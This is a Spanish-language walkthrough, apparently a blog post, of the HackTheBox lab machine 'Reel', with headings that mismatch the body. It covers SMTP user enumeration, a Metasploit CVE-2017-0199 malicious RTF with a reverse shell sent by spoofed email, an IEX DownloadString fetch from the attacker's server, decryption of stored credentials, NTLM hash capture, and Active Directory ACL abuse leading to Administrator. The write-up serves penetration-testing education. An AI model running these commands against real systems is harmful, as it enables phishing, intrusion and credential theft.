Como realizar una auditoria a una base de datos de Oracle
Aprende pentesting desde 0 con HackTheBox (Silo)
Hello Cyber-Spartans!!
Hoy aprenderemos una variedad de cosas interesantes, todo gracias a la máquina HackTheBox llamada Reel.
Antes de empezar quiero aclarar que todo mi contenido publicado se hace con fines educativos, informativos y éticos.
No me hago responsable del mal uso que puedan darle.
Como en cualquier otra auditoria de seguridad se debe comenzar con una enumeración del sistema.
Para ello realizaremos un simple escaneo con Nmap, de la siguiente manera.
╭─[/Ethic4l-Hacking/Operations/Reel]─[root@Arthorias]─[0]─[2505]
╰─[:)] # nmap -p- -sC -sV -Pn -oN Reel.nmap 10.10.10.77
Nmap scan report for 10.10.10.77
Host is up (0.021s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_05-28-18 11:19PM <DIR> documents
| ftp-syst:
|_ SYST: Windows_NT
22/tcp open ssh OpenSSH 7.6 (protocol 2.0)
| ssh-hostkey:
| 2048 82:20:c3:bd:16:cb:a2:9c:88:87:1d:6c:15:59:ed:ed (RSA)
| 256 23:2b:b8:0a:8c:1c:f4:4d:8d:7e:5e:64:58:80:33:45 (ECDSA)
|_ 256 ac:8b:de:25:1d:b7:d8:38:38:9b:9c:16:bf:f6:3f:ed (ED25519)
25/tcp open smtp?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, X11Probe:
| 220 Mail Service ready
| FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest:
| 220 Mail Service ready
| Hello:
| 220 Mail Service ready
| EHLO Invalid domain address.
| Help:
| 220 Mail Service ready
| DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
| SIPOptions:
| 220 Mail Service ready
| smtp-commands: REEL, SIZE 20480000, AUTH LOGIN PLAIN, HELP,
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2012 R2 Standard 9600 microsoft-ds (workgroup: HTB)
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49159/tcp open msrpc Microsoft Windows RPC
Con el anterior escaneo de puertos que hicimos con Nmap, conseguimos identificar los puertos 21 (FTP),22 (SSH),25 (SMTP) abiertos.
Uno de los hallazgos encontrados con la exploración NMAP es el acceso con el usuario “anonymous” para el servicio FTP.
Por lo tanto, podemos autenticar sobre este servicio y revisar su contenido.
╭─[/Ethic4l-Hacking/Operations/Reel]─[root@Arthorias]─[0]─[2505]
╰─[:)] # ftp 10.10.10.77
Connected to 10.10.10.77.
220 Microsoft FTP Service
Name (10.10.10.77:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
There are a variety of commands available for FTP, the most common are:
| FTP Command | Description of Command |
|---|---|
| cd | Change remote working directory |
| dir | list contents of remote directory |
| get | receive file |
| ls | list contents of remote directory |
| mget | get multiple files |
| mkdir | make directory on remote machine |
| mput | send multiple files |
| open | connect to remote ftp |
| put | send one file |
| quit | terminate ftp session and exit |
Continuaremos, enumerando los archivos del servidor.
ftp> dir
200 PORT command successful.
150 Opening ASCII mode data connection.
05-29-18 12:19AM <DIR> documents
226 Transfer complete.
ftp> cd documents
250 CWD command successful.
ftp> dir
200 PORT command successful.
150 Opening ASCII mode data connection.
05-29-18 12:19AM 2047 AppLocker.docx
05-28-18 02:01PM 124 readme.txt
10-31-17 10:13PM 14581 Windows Event Forwarding.docx
226 Transfer complete.
Para descargar archivos vía FTP, podemos ejecutar lo siguiente:
ftp> prompt
Interactive mode off.
ftp> mget *
local: AppLocker.docx remote: AppLocker.docx
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
2047 bytes received in 0.10 secs (19.2425 kB/s)
local: readme.txt remote: readme.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
124 bytes received in 0.10 secs (1.1592 kB/s)
local: Windows Event Forwarding.docx remote: Windows Event Forwarding.docx
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
14581 bytes received in 0.19 secs (68.8589 kB/s)
Otra forma de realizar esta descarga sería utilizando el binario WGET.
╭─[/Ethic4l-Hacking/Operations/Reel]─[root@Arthorias]─[0]─[2505]
╰─[:)] # wget -r ftp://10.10.10.77
El archivo “Windows Event Forwarding.docx” contenía la dirección de correo electrónico del usuario nico@megabank.com en el campo de metadatos del creador del documento, que podía verse con exiftool.
ExifTool es un programa de software gratuito y de código abierto para leer, escribir y manipular metadatos de imágenes, audio, vídeo y PDF.
Articulo Completo
Si quieres saber cómo se instala esta herramienta, te invito al siguiente artículo.
╭─[/Ethic4l-Hacking/Operations/Reel]─[root@Arthorias]─[0]─[2505]
╰─[:)] # exiftool "Windows Event Forwarding.docx"
La salida del comando anterior es la siguiente:
ExifTool Version Number : 11.16
File Name : Windows Event Forwarding.docx
Directory : .
File Size : 14 kB
File Modification Date/Time : 2017:10:31 22:13:00-05:00
File Access Date/Time : 2019:04:28 10:17:33-05:00
File Inode Change Date/Time : 2019:04:27 20:52:11-05:00
File Permissions : rw-r--r--
File Type : DOCX
File Type Extension : docx
MIME Type : application/vnd.openxmlformats-officedocument.wordprocessingml.document
Zip Required Version : 20
Zip Bit Flag : 0x0006
Zip Compression : Deflated
Zip Modify Date : 1980:01:01 00:00:00
Zip CRC : 0x82872409
Zip Compressed Size : 385
Zip Uncompressed Size : 1422
Zip File Name : [Content_Types].xml
Creator : nico@megabank.com
Revision Number : 4
Create Date : 2017:10:31 18:42
Modify Date : 2017:10:31 18:51
Template : Normal.dotm
Total Edit Time : 5 minutes
Pages : 2
Words : 299
Characters : 1709
Application : Microsoft Office Word
Doc Security : None
Lines : 14
Paragraphs : 4
Scale Crop : No
Heading Pairs : Title, 1
Titles Of Parts :
Company :
Links Up To Date : No
Characters With Spaces : 2004
Shared Doc : No
Hyperlinks Changed : No
App Version : 14.0000
Por otro lado, el archivo readme.txt simplemente contenía:
╭─[/Ethic4l-Hacking/Operations/Reel]─[root@Arthorias]─[0]─[2505]
╰─[:)] # cat readme.txt
please email me any rtf format procedures — I’ll review and convert.
new format / converted documents will be saved here.
Para la enumeración del servicio SMTP, es útil enumerar los usuarios válidos.
Una forma de validar lo anterior es utilizando TELNET.
╭─[/Ethic4l-Hacking/Operations/Reel]─[root@Arthorias]─[0]─[2505]
╰─[:)] # telnet 10.10.10.77 25
Los comandos más comunes para TELNET son los siguientes:
| SMTP Command | Description of Command |
|---|---|
| HELO | It’s the first SMTP command: is starts the conversation identifying the sender server and is generally followed by its domain name. |
| EHLO | An alternative command to start the conversation, underlying that the server is using the Extended SMTP protocol. |
| MAIL FROM | With this SMTP command the operations begin: the sender states the source email address in the “From” field and actually starts the email transfer. |
| RCPT TO | It identifies the recipient of the email; if there are more than one, the command is simply repeated address by address. |
| DATA | With the DATA command the email content begins to be transferred; it’s generally followed by a 354 reply code given by the server, giving the permission to start the actual transmission. |
| VRFY | The server is asked to verify whether a particular email address or username actually exists. |
| QUIT | It terminates the SMTP conversation. |
Al intentar verificar la cuenta de correo electrónico nico@megabank.com mediante el comando VRFY a través de SMTP, el comando fue rechazado. Sin embargo, el comando RCPT se puede utilizar para enumerar las cuentas de correo electrónico válidas:
Trying 10.10.10.77...
Connected to 10.10.10.77.
Escape character is '^]'.
220 Mail Service ready
HELO anything here
250 Hello.
VRFY nico@megabank.com
502 VRFY disallowed.
MAIL From: <gerh@domain.com>
250 OK
RCPT To: <nico@megabank.com>
250 OK
RCPT To: <gerh@megabank.com>
550 Unknown user
QUIT
221 goodbye
Connection closed by foreign host.
Otra forma de validar esto es utilizando la herramienta smtp-enum-users.
╭─[/Ethic4l-Hacking/Operations/Reel]─[root@Arthorias]─[0]─[2505]
╰─[:)] # smtp-user-enum -M RCPT -U users.txt -t 10.10.10.77
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )
----------------------------------------------------------
| Scan Information |
----------------------------------------------------------
Mode ..................... RCPT
Worker Processes ......... 5
Usernames file ........... users.txt
Target count ............. 1
Username count ........... 14
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............
######## Scan started at Mon Jun 14 02:34:42 2019 #########
10.10.10.77: reel@htb exists
10.10.10.77: reel@reel.htb exists
10.10.10.77: root@htb exists
10.10.10.77: admin@htb exists
10.10.10.77: administrator@htb exists
10.10.10.77: test@htb exists
10.10.10.77: nico@megabank.com exists
######## Scan completed at Mon Jun 14 02:34:42 2019 #########
8 results.
13 queries in 1 seconds (13.0 queries / sec)
Antes de realizar la exploración previa, escribimos una lista de posibles correos electrónicos existentes.
El contenido del archivo users.txt es el siguiente:
reel
reel@htb
reel@reel.htb
root
root@htb
admin
admin@htb
administrator
administrator@htb
test@htb
gerh@megabank.com
htb@metabank.com
nico@megabank.com
La suplantación de correo electrónico se produce cuando un atacante (ciberdelincuente) falsifica un correo electrónico para que parezca que ha sido enviado por otra persona.
Con los resultados de la enumeración realizada anteriormente tenemos lo siguiente:
- Una cuenta de correo electrónico identificada como “nico@megabank.com”
- Un servidor SMTP que se ejecuta en el equipo auditado
- Alguien quiere recibir archivos .RTF
Realizando una búsqueda de formas de aprovechar la información recopilada hasta el momento podemos encontrar la existencia de CVE-2017-0199, que fue un Zero-Day crítico descubierto en abril de 2017 para Microsoft Office.
La descripción de Metasploit para esta vulnerabilidad es la siguiente:
Description: This module creates a malicious RTF file that when opened in vulnerable versions of Microsoft Word will lead to code execution. The flaw exists in how a olelink object can make a http(s) request, and execute hta code in response. This bug was originally seen being exploited in the wild starting in Oct 2016. This module was created by reversing a public malware sample.
Basically this vulnerability leveraged .rtf files (some renamed to .doc) which would connect to a remote server (controlled by the attacker) in order to download a file that contains HTML application content, and executes as an .hta file. Because .hta is executable, the attacker gains full code execution on the victim’s machine. This logical bug also gives the attackers the power to bypass any memory-based mitigations developed by Microsoft.
Articulo Completo
Vamos a proceder, con el uso del módulo metasploit para la CVE-2017-0199.
msf5 > use exploit/windows/fileformat/office_word_hta
msf5 exploit(windows/fileformat/office_word_hta) > set SRVHOST 10.10.14.30
SRVHOST => 10.10.14.30
msf5 exploit(windows/fileformat/office_word_hta) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/fileformat/office_word_hta) > set LHOST 10.10.14.30
LHOST => 10.10.14.30
msf5 exploit(windows/fileformat/office_word_hta) > set FILENAME shell.rtf
FILENAME => shell.rtf
msf5 exploit(windows/fileformat/office_word_hta) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.14.30:4444
msf5 exploit(windows/fileformat/office_word_hta) > [+] shell.rtf stored at /root/.msf4/local/shell.rtf
[*] Using URL: http://10.10.14.30:8080/default.hta
[*] Server started.
Este módulo creó el archivo malicioso shell.rtf y lo colocó en el directorio /root/.msf4/local/ al tiempo que alojaba el archivo .hta en un servidor web.
El siguiente paso es realizar un ataque de suplantación de identidad.
Enviaremos un correo electrónico a nico@megabank.com con el documento infectado adjunto.
Swaks es una herramienta de pruebas SMTP orientada a transacciones, flexible y con muchas funciones, escrita y mantenida por John Jetmore.
Articulo Completo
╭─[/Ethic4l-Hacking/Operations/Reel]─[root@Arthorias]─[0]─[2505]
╰─[:)] # swaks --to nico@megabank.com --server 10.10.10.77 --attach /root/.msf4/local/shell.rtf
=== Trying 10.10.10.77:25...
=== Connected to 10.10.10.77.
<- 220 Mail Service ready
-> EHLO BinaryChaos
<- 250-REEL
<- 250-SIZE 20480000
<- 250-AUTH LOGIN PLAIN
<- 250 HELP
-> MAIL FROM:<root@BinaryChaos>
<- 250 OK
-> RCPT TO:<nico@megabank.com>
<- 250 OK
-> DATA
<- 354 OK, send.
-> Date: Sun, 23 Jun 2019 01:39:27 -0500
-> To: nico@megabank.com
-> From: root@BinaryChaos
-> Subject: test Sun, 23 Jun 2019 01:39:27 -0500
-> Message-Id: <20190623013927.006682@BinaryChaos>
-> X-Mailer: swaks v20181104.0 jetmore.org/john/code/swaks/
-> MIME-Version: 1.0
-> Content-Type: multipart/mixed; boundary="----=_MIME_BOUNDARY_000_6682"
->
-> ------=_MIME_BOUNDARY_000_6682
-> Content-Type: text/plain
->
-> This is a test mailing
-> ------=_MIME_BOUNDARY_000_6682
-> Content-Type: application/octet-stream; name="shell.rtf"
-> Content-Description: shell.rtf
-> Content-Disposition: attachment; filename="shell.rtf"
-> Content-Transfer-Encoding: BASE64
->
-> e1xydGYxXGFkZWZsYW5nMTAyNVxhbnNpXGFuc2ljcGcxMjUyXHVjMVxhZGVmZjMxNTA3XGRlZmYw
-> MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
-> MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAK
-> MDEwNTAwMDAwMDAwMDAwMH0Ke1xyZXN1bHQge1xydGxjaFxmY3MxIFxhZjMxNTA3IFxsdHJjaFxm
-> Y3MwIFxpbnNyc2lkMTk3OTMyNCB9fX19CntcKlxkYXRhc3RvcmUgfQp9Cg==
->
-> ------=_MIME_BOUNDARY_000_6682--
-> .
<- 250 Queued (11.891 seconds)
-> QUIT
<- 221 goodbye
=== Connection closed with remote host.
Después de enviar nuestro correo electrónico, sólo tenemos que esperar a que la víctima ejecute el archivo y de esta manera obtendremos RCE.
El usuario nico tenía un archivo en su escritorio llamado cred.xml que parecía contener las credenciales de tom, otro usuario de Reel:
meterpreter > dir C:\Users\nico\Desktop
Listing: C:\Users\nico\Desktop
==============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100444/r--r--r-- 1468 fil 2017-10-27 18:59:16 -0500 cred.xml
100666/rw-rw-rw- 282 fil 2017-10-27 17:42:45 -0500 desktop.ini
100444/r--r--r-- 32 fil 2017-10-27 18:40:33 -0500 user.txt
100666/rw-rw-rw- 162 fil 2017-10-27 16:34:38 -0500 ~$iledDeliveryNotification.doc
meterpreter > cat cred.xml
El contenido del archivo es:
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">HTB\Tom</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d2
0f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692</SS>
</Props>
</Obj>
</Objs>
PowerShell tiene este objeto llamado PSCredential, que proporciona un método para almacenar nombres de usuario, contraseñas y credenciales. También hay dos funciones, Import-CliXml y Export-CliXml , que se utilizan para guardar estas credenciales y restaurarlas desde un archivo. Este archivo es la salida de Export-CliXml.
Para poder interactuar con el archivo xml como se pretende, el shell de meterpreter debe cargar la extensión de PowerShell utilizando el comando:
meterpreter > load powershell
Loading extension powershell...Success.
meterpreter > powershell_shell
PS >
Para obtener una contraseña en texto plano del archivo cargándolo con Import-CliXml, y luego volcando los resultados:
PS > $tom=Import-CliXml -Path C:\Users\nico\Desktop\cred.xml
PS > $tom.GetNetworkCredential().Password
1ts-mag1c!!!
Esta contraseña de texto plano se utilizó para obtener acceso SSH a Reel como el usuario TOM.
╭─[/Ethic4l-Hacking/Operations/Reel]─[root@Arthorias]─[0]─[2505]
╰─[:)] # ssh tom@10.10.10.77
tom@10.10.10.77 password:
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
tom@REEL C:\Users\tom>whoami
htb\tom
En el directorio del escritorio del usuario Tom, había una carpeta titulada Auditoría AD que contenía artefactos de una auditoría de BloodHound Active Directory. Esto incluía una versión antigua de SharpHound.
C:\users\tom\desktop\AD Audit\BloodHound\Ingestors> dir
Directory: C:\users\tom\desktop\AD Audit\BloodHound\Ingestors
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 11/16/2017 11:50 PM 112225 acls.csv
-a--- 10/28/2017 9:50 PM 3549 BloodHound.bin
-a--- 10/24/2017 4:27 PM 246489 BloodHound_Old.ps1
-a--- 10/24/2017 4:27 PM 568832 SharpHound.exe
-a--- 10/24/2017 4:27 PM 636959 SharpHound.ps1
SharpHound nos permite descubrir dependencias ocultas en entornos de Active Directory y, junto con BloodHound, que presenta una interfaz gráfica para ello, podemos descubrir fácilmente nuestro siguiente paso a seguir.
Actualizamos SharpHound.ps1 a la última versión y la subimos a la víctima.
Montamos un servidor HTTP en nuestra máquina atacante y servimos el archivo SharpHound actualizado.
┌─[root@BinaryChaos] - [/Ethic4l-Hacking/SERVER_FILE] - [Sun Jun 23, 03:02]
└─[$]> # python3 -m http.server
Servidor HTTP iniciado en el puerto: http://localhost:8000
Luego lo descargamos en nuestra máquina comprometida.
PS C:\Users\tom> IEX (New-Object System.Net.WebClient).DownloadString('http://10.10.14.4:8000/SharpHound.ps1')
Y ahora podemos ejecutar la función Invoke-BloodHound para recoger los datos necesarios, pero primero tendremos que ir a un directorio en el que podamos escribir sin riesgo de sobrescribir nada o no tener permisos de escritura:
PS C:\Users\tom> Invoke-BloodHound -CollectionMethod All
Initializing BloodHound at 3:20 AM on 8/19/2019
Resolved Collection
Methods to Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM
Starting Enumeration for HTB.LOCAL
Status: 84 objects enumerated (+84 Infinity/s --- Using 101 MB RAM )
Finished enumeration for HTB.LOCAL in 00:00:00.4372083
0 hosts failed ping. 0 hosts timedout.
Compressing data to C:\Users\tom\20190819032010_BloodHound.zip.
You can upload this file directly to the UI.
Finished compressing files!
Vamos a ir a lo grande y usar -CollectionMethod All ya que el archivo note.txt mencionado la consulta por defecto no encontró nada, así que necesitaremos todos los datos que seamos capaces de reunir. Después de un tiempo, el comando termina y vemos que se han creado varios archivos: archivos .json, un archivo .bin y un archivo .zip. Lo que BloodHound necesita es el archivo ZIP (que contiene todos los JSONs generados).
Para ello vamos a montar un servidor SMB en nuestro kali para copiar nuestro ZIP.
┌─[root@BinaryChaos] - [/Ethic4l-Hacking/Operations/Reel] - [Sun Jun 23, 03:43]
└─[$]> # impacket-smbserver share ./
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.77,53670)
[*] AUTHENTICATE_MESSAGE (HTB\tom,REEL)
[*] User tom\REEL authenticated successfully
[*] tom::HTB:4141414141414141:f32c125f98f07b745854b6fecc485306:0101000000000000002c1abf9f29d50198eb9ab4ce28e01f0000000001001000450056004d00640074004f006b007a0002001000490068004a007800430054004e006f0003001000450056004d00640074004f006b007a0004001000490068004a007800430054004e006f0007000800002c1abf9f29d5010600040002000000080030003000000000000000000000000030000069dbc64191c63e04554ebe76cdc838449ef5e8448f9f556479081efefab5cba80a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0033003000000000000000000000000000
Para copiar archivos de un windows a un servidor SMB, debemos ejecutar lo siguiente:
tom@REEL C:\Users\tom>copy 20190623093056_BloodHound.zip \\10.10.14.30\share
1 file(s) copied.
Es una gran herramienta visual que muestra la relación entre múltiples objetos de Active Directory y permite evaluar de forma rápida la posibilidad de comprometer información relevante, además de identificar potenciales debilidades de seguridad.
Para instalar Bloodhound en Kali, se debe ejecutar:
╭─[/Ethic4l-Hacking/Operations/Reel]─[root@Arthorias]─[0]─[2505]
╰─[:)] # apt install bloodhound
Despues de la instalación, se debe inicializar neo4j y para ello ejecutamos lo siguiente:
╭─[/Ethic4l-Hacking/Operations/Reel]─[root@Arthorias]─[0]─[2505]
╰─[:)] # neo4j console
Active database: graph.db
Directories in use:
home: /usr/share/neo4j
config: /usr/share/neo4j/conf
logs: /usr/share/neo4j/logs
plugins: /usr/share/neo4j/plugins
import: /usr/share/neo4j/import
data: /usr/share/neo4j/data
certificates: /usr/share/neo4j/certificates
run: /usr/share/neo4j/run
Starting Neo4j.
WARNING: Max 1024 open files allowed, minimum of 40000 recommended. See the Neo4j manual.
2019-06-23 07:09:18.675+0000 INFO ======== Neo4j 3.5.3 ========
2019-06-23 07:09:18.708+0000 INFO Starting...
2019-06-23 07:09:24.362+0000 INFO Bolt enabled on 127.0.0.1:7687.
2019-06-23 07:09:27.619+0000 INFO Started.
2019-06-23 07:09:29.944+0000 INFO Remote interface available at http://localhost:7474/
Después de iniciar sesión con las credenciales por defecto neo4j:neo4j, cargamos el archivo 20190623093056_BloodHound.zip desde la interfaz web de bloodhound.
Utilizando la opción “from” y “to” en bloodhound, logramos identificar una posible ruta desde Tom hasta el grupo “backup_admins”. Tenemos que pivotear hacia el usuario Claire. Como Tom es dueño del objeto usuario Claire, es posible que Tom tome la propiedad y modifique el DACL del objeto usuario Claire. Podemos abusar de esto para dar a Tom permisos para cambiar la contraseña de Claire. Para cambiar la DACL primero tenemos que tomar la propiedad del objeto Claire.
Analizando con BloodHound
Conceptos Importantes!!
WriteOwner : Proporciona la capacidad de tomar la propiedad de un objeto. El propietario de un objeto puede obtener todos los derechos de control sobre el mismo.
GenericWrite : Proporciona acceso de escritura a todas las propiedades.
WriteDacl : Proporciona la posibilidad de modificar la seguridad de un objeto, lo que puede llevar al control total del mismo.
Para pasar a la cuenta claire, utilizaremos el permiso WriteOwner junto con la funcionalidad de PowerView.
En resumen, debemos realizar los siguientes pasos:
tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound> powershell
Windows PowerShell
Copyright (C) 2014 Microsoft Corporation. All rights reserved.
PS C:\Users\tom\Desktop\AD Audit\BloodHound> Import-Module ‘C:\Users\tom\Desktop\AD Audit\BloodHound\PowerView.ps1’
PASO 1
A continuación, tom tiene derechos de WriteOwner sobre el objeto de usuario claire. Así que establecemos a tom como propietario del objeto claire.
PS C:\Users\tom\Desktop\AD Audit\BloodHound> Set-DomainObjectOwner -Identity claire -OwnerIdentity tom
PASO 2
Ahora que tom es el propietario del objeto claire, puede añadir entradas a la ACL. Es decir, ahora añadimos una entrada que le de a tom el derecho de cambiar la contraseña del objeto claire.
PS C:\Users\tom\Desktop\AD Audit\BloodHound> Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword -Verbose
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC=HTB,DC=LOCAL
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=tom)(name=tom)(displayname=tom))))
VERBOSE: [Get-DomainSearcher] search base: LDAP://DC=HTB,DC=LOCAL
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=claire)(name=claire)(displayname=claire))))
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=Tom Hanson,CN=Users,DC=HTB,DC=LOCAL 'ResetPassword' on CN=Claire
Danes,CN=Users,DC=HTB,DC=LOCAL
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=Tom Hanson,CN=Users,DC=HTB,DC=LOCAL rights GUID
'00299570-246d-11d0-a768-00aa006e0529' on CN=Claire Danes,CN=Users,DC=HTB,DC=LOCAL
PASO 3
Cambiar la contraseña de claire:
PS C:\Users\tom\Desktop\AD Audit\BloodHound> $ClairePassword = ConvertTo-SecureString ‘Password1234’ -AsPlainText -Force -Verbose
PS C:\Users\tom\Desktop\AD Audit\BloodHound> Set-DomainUserPassword -Identity claire -AccountPassword $ClairePassword -Verbose
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'claire'
VERBOSE: [Set-DomainUserPassword] Password for user 'claire' successfully reset
Además, debemos añadir al usuario Claire al grupo de dominio ‘Backup_Admins’ utilizando la función Add-DomainGroupMember:
PS C:\Users\tom\Desktop\AD Audit\BloodHound> $Cred = New-Object System.Management.Automation.PSCredential(‘HTB\claire’, $ClairePassword)
PS C:\Users\tom\Desktop\AD Audit\BloodHound> Add-DomainGroupMember -Identity ‘Backup_Admins’ -Members ‘claire’ -Credential $Cred
Y ahora podemos usar nuestras nuevas credenciales para iniciar sesión a través de SSH con el usuario Claire:
╭─[/Ethic4l-Hacking/Operations/Reel]─[root@Arthorias]─[0]─[2505]
╰─[:)] # ssh claire@10.10.10.77
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
claire@REEL C:\Users\claire>
Del análisis anterior, sé que claire tiene derechos WriteDacl en el grupo Backup_Admins. Puedo usar eso para añadirla al grupo.
claire@REEL C:\Users\claire>net group backup_admins
Group name: Backup_Admins
Comment:
Members: ranj
-------------------------------------------------------------------------------
The command completed successfully.
claire@REEL C:\Users\claire>net group backup_admins claire /add
The command completed successfully.
Después de añadir al grupo “Backup_Admins”, podemos acceder a la carpeta C:\Users\Administrator.
Entre varios de sus archivos, encontramos un script con credenciales de acceso para iniciar sesión con el usuario Administrador.
claire@REEL C:\Users\Administrator\Desktop\Backup Scripts>type BackupScript.ps1
admin password
$password="Cr4ckMeIfYouC4n!"
Y listo hemos logrado comprometer al usuario Administrador del servidor.
Para validar esto, podemos utilizar las credenciales e iniciar sesión por SSH.
╭─[/Ethic4l-Hacking/Operations/Reel]─[root@Arthorias]─[0]─[2505]
╰─[:)] # ssh Administrator@10.10.10.77
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
administrator@REEL C:\Users\Administrator>